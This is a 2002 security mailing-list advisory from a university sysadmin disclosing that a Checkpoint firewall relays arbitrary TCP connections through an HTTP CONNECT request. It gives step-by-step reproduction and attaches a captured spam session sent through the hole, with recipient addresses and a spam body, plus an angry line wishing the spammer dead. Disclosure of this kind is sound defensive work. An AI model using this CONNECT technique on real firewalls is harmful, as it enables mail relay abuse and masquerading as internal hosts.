UPDATE: [wcolburn () nmt edu: SMTP relay through checkpoint firewall]

["William D. Colburn (aka Schlake)" <wcolburn () nmt edu>]

Checkpoint bounced my mail because I'm not a checkpoint customer, so I
contacted customer advocacy and resent it to a different address (this
message is copied to her as well).  I was told that the issue would be
propogated to an appropriate person.

Please drop the old message and continue to hold this message until
Checkpoint responds.

I have a few updates to this issue that I have learned since I crafted
the original message.

I only need to give the "CONNECT" line, and nothing else.  After the
second newline there is a pause and then the TCP stream is open.  I seem
to be able to open any port on any machine I want *except* port 80.  I
was able to telnet in to UNIX login with the firewall appearing as the
remote host.  The initial machine I use (inside the firewall) does not
need to actually exist, I merely have to attempt to connect to an IP
address "inside" on port 80.

This whole give anyone outside a firewall the ability to masquerade on
any TCP service (except WWW) as a machine inside the domain of the
firewall.  As far as I can tell there are no logs on this, and it is
hard to detect on the firewall.  I found it by doing a tcpdump of all
packets and gradually narrowing down my filters until I was able to
"catch" an entire transaction.

----- Forwarded message from "William D. Colburn (aka Schlake)" <wcolburn () nmt edu> -----

Step one: telnet to a machine behind the checkpoint firewall on port 80

Step two: Type the following:
> CONNECT mailserver.somecompany.com:25 / HTTP/1.0
> User-Agent: eeep
> Cache-Control: private,no-cache
> Pragma: no-cache

Step three: wait a moment for your SMTP banner to pop up.

I will attach an actual attack I caputured with tcpdump and ethereal.
The file is the result of an ethereal "Follow TCP stream".

I hate the person who did this to me and I hope they die a terrible
death.

--
William Colburn, "Sysprog" <wcolburn () nmt edu>
Computer Center, New Mexico Institute of Mining and Technology
http://www.nmt.edu/tcc/     http://www.nmt.edu/~wcolburn

--AqsLC8rIMeq19msA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=checkpoint

> From root () netpeep nmt edu  Mon Feb 18 16:05:43 2002
Return-Path: <root () netpeep nmt edu>
Received: from netpeep.nmt.edu (netpeep.nmt.edu [129.138.250.10])
        by mailhost.nmt.edu (8.12.2/8.12.2) with ESMTP id g1IN5hF0009872
        for <schlake () nmt edu>; Mon, 18 Feb 2002 16:05:43 -0700
Received: from netpeep.nmt.edu (localhost [127.0.0.1])
        by netpeep.nmt.edu (8.12.2/8.12.2) with ESMTP id g1IN5hnA020585
        for <schlake () nmt edu>; Mon, 18 Feb 2002 16:05:43 -0700
Received: (from root@localhost)
        by netpeep.nmt.edu (8.12.2/8.12.1/Submit) id g1IN5h8w020584
        for schlake () nmt edu; Mon, 18 Feb 2002 16:05:43 -0700
Date: Mon, 18 Feb 2002 16:05:43 -0700
From: root <root () netpeep nmt edu>
Message-Id: <200202182305.g1IN5h8w020584 () netpeep nmt edu>
To: schlake () nmt edu
Content-Length: 3580
Lines: 112

CONNECT mail2.freeuk.net:25 / HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Cache-Control: private,no-cache
Pragma: no-cache

HELO hotmail.com
MAIL FROM: <pheros680506 () hotmail com>
RCPT TO: <renewinter () freeuk com>
RCPT TO: <renewu () freeuk com>
RCPT TO: <renfah () freeuk com>
RCPT TO: <renfi11160 () freeuk com>
RCPT TO: <renfield13 () freeuk com>
RCPT TO: <renfield20 () freeuk com>
RCPT TO: <renfield94 () freeuk com>
RCPT TO: <renfrew () freeuk com>
RCPT TO: <renfro33 () freeuk com>
RCPT TO: <reng3 () freeuk com>
RCPT TO: <renga () freeuk com>
RCPT TO: <rengel293 () freeuk com>
RCPT TO: <rengel7495 () freeuk com>
RCPT TO: <rengelh946 () freeuk com>
RCPT TO: <rengers () freeuk com>
RCPT TO: <rengised () freeuk com>
RCPT TO: <rengl21068 () freeuk com>
RCPT TO: <rengl29048 () freeuk com>
RCPT TO: <rengl78818 () freeuk com>
DATA
Reply-To: <pheros680506 () hotmail com>
Message-ID: <004b71e11dcb$7144b8d2$6ac55bc3@mlpqff>
From: <pheros680506 () hotmail com>
To: <renewinter () freeuk com>
Cc: <renewu () freeuk com>,
        <renfah () freeuk com>,
        <renfi11160 () freeuk com>,
        <renfield13 () freeuk com>,
        <renfield20 () freeuk com>,
        <renfield94 () freeuk com>,
        <renfrew () freeuk com>,
        <renfro33 () freeuk com>,
        <reng3 () freeuk com>,
        <renga () freeuk com>,
        <rengel293 () freeuk com>,
        <rengel7495 () freeuk com>,
        <rengelh946 () freeuk com>,
        <rengers () freeuk com>,
        <rengised () freeuk com>,
        <rengl21068 () freeuk com>,
        <rengl29048 () freeuk com>,
        <rengl78818 () freeuk com>
Subject: A new fragrance                                                                 
(3437AlLf5-384bbsO4815hPeX5-01@27)
MiME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: 
Importance: Normal

Hi !

<HTML>
<head><title>Pheros attraction</title>
</head>
<BODY TEXT="#000000" LINK="#000000" VLINK="#000000" BGCOLOR="#7777FF">
<CENTER>
<TABLE WIDTH="650">
<TR>
<TD COLSPAN="2">
<FONT FACE="VERDANA, ARIAL">Notice: I have paid to be able to send you this e-mail.  I do not intend to
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removed, please go to the end of this e-mail. Please forgive me if you
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</FONT>
</TD>
</TR>
<TR>
<TD VALIGN="TOP">
<FONT FACE="VERDANA, ARIAL">
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<BR>

</FONT>
</TD>
<TD>
<IMG SRC="http://pheros.freehosting.net/images/Mailbilden.jpg"; border="2">
</TD>
</TR>
<TR>
<TD COLSPAN="2">
<BR>
<FONT FACE="Verdana, Arial">
To be removed from this mailing list, please reply to this message with the subjct "remove".
You will be BLOCKED from all mail from this site and your request will take effect within 24 hours.
</FONT>
</TD>
</TR>
</TABLE>
</CENTER>
</BODY>
</HTML>
[2901sDxs3-632TivA4099LrRl6-563cNjc6630cqwk8-434lwqh9794mwMr2-514eMAy1216cuz@71]

.
QUIT


--AqsLC8rIMeq19msA--

----- End forwarded message -----

--
William Colburn, "Sysprog" <wcolburn () nmt edu>
Computer Center, New Mexico Institute of Mining and Technology
http://www.nmt.edu/tcc/     http://www.nmt.edu/~wcolburn